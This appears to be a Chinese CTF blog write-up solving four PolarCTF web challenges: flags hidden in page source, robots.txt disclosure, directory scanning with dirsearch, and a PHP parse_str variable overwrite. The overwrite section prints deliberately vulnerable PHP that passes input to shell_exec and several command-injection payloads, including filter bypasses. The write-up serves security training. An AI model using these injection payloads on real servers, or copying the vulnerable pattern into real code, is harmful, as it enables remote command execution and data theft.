polarctf靶场[WEB]Don‘t touch me、机器人、uploader、扫扫看

目录

[[web]Don't touch me](#[web]Don't touch me)

考点:查看源代码、前端

[web]机器人

考点:robot协议

[工具:御剑,kali dirsearch](#工具:御剑,kali dirsearch)

[web]覆盖

考点:@parse_str覆盖

[web]扫扫看

考点:目录扫描

[工具:御剑、kali dirsearch](#工具:御剑、kali dirsearch)


[web]Don't touch me

考点:查看源代码、前端

打开网页,叫我们找flag

我们打开源代码,发现了一个被注释的子域

访问,是另一个界面

在看源代码 ,发现有个3.php,点开

就可以发现了被注释的flag文件,fla.php

访问,得到本题flag

[web]机器人

考点:robot协议

工具:御剑,kali dirsearch

题目说是机器人,所以考虑是robots协议

当robots访问一个网站(比如http://www.abc.com)时,首先会检查该网站中是否存在http://www.abc.com/robots.txt这个文件,如果机器人找到这个文件,它就会根据这个文件的内容,来确定它访问权限的范围。(也就相当于一个管理权限的文件)

robots.txt文件用法举例:

User-agent(搜索引擎robots的名字):*(*代表所有)

Disallow(以Disallow开头的url都禁止访问):/(代表禁止所有引擎访问网站任何部分)

例:

User-agent:baiduspider

Disallow:

User-agent:*

Disallow:/

代表允许baiduspider来访问网站任何,其他都不行

进入robots.txt文件查看一下权限或者被隐藏了哪些,或者不确定访问什么可以用御剑或者kali 的dirsearch工具进行目录扫描

看到了一部分的flag,再看Disallow,应该是个目录

访问/27f5e15b6af3223f1176293cd015771d/flag.php

得到另一部分的flag,拼接一起便可得到flag

[web]覆盖

考点:@parse_str覆盖

php 复制代码
 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

这段代码是一个简单的 PHP 网页应用,主要功能是根据特定条件执行命令并返回结果。如果没有提供 id 参数,就显示当前文件的源代码并终止程序。如果提供了 id 参数,并且通过特定方式将变量 $a 的第一个字符修改为 www.polarctf.com,同时提供 cmd 参数,就会执行 ping 命令并返回结果。

@parse_str($id);:这个函数不会检查变量 id 是否存在,如果通过其他方式传入数据给变量id ,且当前$id中数据存在,它将会直接覆盖掉

$result.= shell_exec('ping -c 2 '. $a[0]. $ip); :使用 shell_exec 函数执行 ping 命令,向 "www.polarctf.com" 和变量 $ip 指定的地址发送两个 ICMP 数据包,并将结果存储在变量 $result 中。

发现a[0]的值确实被更改了,那么接下来就简单了,先构造一个cmd=|ls;,发现回显了flag.php,但是不能直接读取,我们尝试用读取ls的命令,而且cat似乎被覆盖过滤了,所以我们使用tac。

有集中方法进行构造:

php 复制代码
?id=a[0]=www.polarctf.com&cmd=|tac `ls`;//回显之后直接可得到flag
 
?id=a[]=www.polarctf.com&cmd=|ls //发现有flag.php,但是不能直接读取
?id=a[0]=www.polarctf.com&cmd=;tac%20flag*
或?id=a[0]=www.polarctf.com&cmd=;tac%20fl''ag.php
?id=a[0]=www.polarctf.com&cmd=;tac f* //可直接读取flag

得到本题的flag

如果还想练习相同知识点,在相同的靶场也有类似的题目干正则该题的wp:https://blog.csdn.net/m0_73981089/article/details/138520071

[web]扫扫看

考点:目录扫描

工具:御剑、kali dirsearch

网页显示"或许你该扫一扫",所以我们使用御剑或者kali dirsearch工具扫一扫

这里使用kali dirsearch扫

dirsearch -u 网址 -e*

访问该子域,进入此页面

点击查看源代码

得到本题的flag

相关推荐
田一一一3 小时前
Android framework 中间件开发(三)
android·中间件·framework·jni
水银嘻嘻5 小时前
12 web 自动化之基于关键字+数据驱动-反射自动化框架搭建
运维·前端·自动化
小嘟嚷ovo5 小时前
h5,原生html,echarts关系网实现
前端·html·echarts
十一吖i6 小时前
Vue3项目使用ElDrawer后select方法不生效
前端
只可远观6 小时前
Flutter目录结构介绍、入口、Widget、Center组件、Text组件、MaterialApp组件、Scaffold组件
前端·flutter
周胡杰6 小时前
组件导航 (HMRouter)+flutter项目搭建-混合开发+分栏效果
前端·flutter·华为·harmonyos·鸿蒙·鸿蒙系统
敲代码的小吉米6 小时前
前端上传el-upload、原生input本地文件pdf格式(纯前端预览本地文件不走后端接口)
前端·javascript·pdf·状态模式
是千千千熠啊6 小时前
vue使用Fabric和pdfjs完成合同签章及批注
前端·vue.js
2501_915909066 小时前
我用 Appuploader绕过 Mac,成功把 iOS 应用上线了 App Store
websocket·网络协议·tcp/ip·http·网络安全·https·udp
九月TTS7 小时前
TTS-Web-Vue系列:组件逻辑分离与模块化重构
前端·vue.js·重构